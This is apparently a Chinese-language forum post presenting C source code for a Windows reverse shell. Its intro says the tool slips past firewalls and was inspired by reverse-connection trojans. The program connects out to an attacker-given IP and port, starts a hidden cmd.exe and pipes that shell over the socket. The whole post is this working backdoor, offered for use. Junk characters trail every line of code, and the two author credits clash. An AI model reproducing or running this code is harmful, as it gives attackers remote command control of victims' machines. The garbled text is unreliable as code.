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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lz@fXaZM  
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/* ============================== .MMFN }1O  
Rebound port in Windows NT Hv(0<k6oH  
By wind,2006/7 {S(?E_id5b  
===============================*/ q17c)]<"  
#include r]Bwp i%  
#include Rtw^ lo  
_Xd,aLoo  
#pragma comment(lib,"wsock32.lib") AU}e^1h  
\v{tK;  
void OutputShell(); F"VNz^6laV  
SOCKET sClient; [jve |-v=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w-};\]I  
YvE$fX=  
void main(int argc,char **argv) +I#4+0f  
{ : m$cnq~h  
WSADATA stWsaData; k'}}eu/ q  
int nRet; sXOGIv  
SOCKADDR_IN stSaiClient,stSaiServer; jFpXTy[>  
6UR.,*f=  
if(argc != 3) dG}fpQ3&  
{ X{\>TOk   
printf("Useage:\n\rRebound DestIP DestPort\n"); |_8 ::kir:  
return; 1.!rq,+>1  
} R K#e7  
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WSAStartup(MAKEWORD(2,2),&stWsaData); qlD+[`=b  
^RrufwUA  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OaRtGJnR  
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stSaiClient.sin_family = AF_INET; N,V %/O{Y  
stSaiClient.sin_port = htons(0); =K .'x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5c($3Pno=  
]h~=lItTRZ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :q S=_!1  
{ {co(w 7  
printf("Bind Socket Failed!\n"); .cN\x@3-j  
return; E8J `7sa  
} +Tc<|-qQn  
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stSaiServer.sin_family = AF_INET; $Ll]h</Z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e5maZ(.;F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n c:^)G  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sh[Yu  
{ 7g}4gX's  
printf("Connect Error!"); FYR%>Em  
return; %50}oD@  
} P}N%**>`  
OutputShell(); a{^[<  
} > n Y<J  
9"1 0:\U  
void OutputShell() eG9tn{  
{ KL,=Z&.<=  
char szBuff[1024]; dN\Byl(6  
SECURITY_ATTRIBUTES stSecurityAttributes; P;bl+a'gu  
OSVERSIONINFO stOsversionInfo; 4_3Jpz*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v>YdPQky  
STARTUPINFO stStartupInfo; {\j h? P|  
char *szShell; DhV($&*M  
PROCESS_INFORMATION stProcessInformation; } *|_P  
unsigned long lBytesRead; SLpB$puS  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D oX!P|*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f;`pj`-k%  
stSecurityAttributes.lpSecurityDescriptor = 0; zm) ]cq  
stSecurityAttributes.bInheritHandle = TRUE; db$Th=s[  
.pNWpWL.  
)dgXS//Y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uS<7X7|!0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =z'- B~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z0g3> iItM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]N_(M   
stStartupInfo.wShowWindow = SW_HIDE; vg"y$%  
stStartupInfo.hStdInput = hReadPipe; 5p}Y6Lc\j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wv<D%nF2|  
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GetVersionEx(&stOsversionInfo); <at/z9b  
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switch(stOsversionInfo.dwPlatformId) z(d@!Cd  
{ o0^..f  
case 1: ,$EM3   
szShell = "command.com"; W76K/A<h>  
break; )(~4fA5j)  
default: K)~ m{  
szShell = "cmd.exe"; f9u^/QVS&  
break; /:d03N\9k  
} _}R?&yO  
U*`7   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ewg&DBbN"  
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send(sClient,szMsg,77,0); L22GOa0  
while(1) H|k!5W^  
{ 9%WUh-|'p  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vJVL%,7  
if(lBytesRead) @y3w_;P  
{ {j@ S<PD  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _" W<>  
send(sClient,szBuff,lBytesRead,0); 8-5MGh0L  
} MO&QR-OY  
else e}yoy+9  
{ r,X5@/  
lBytesRead=recv(sClient,szBuff,1024,0); _+YCwg  
if(lBytesRead<=0) break; 0gO<]]M?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6Ae<W7  
} eBX#^  
} (iM"ug2  
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return; Nl3 x BM%  
}
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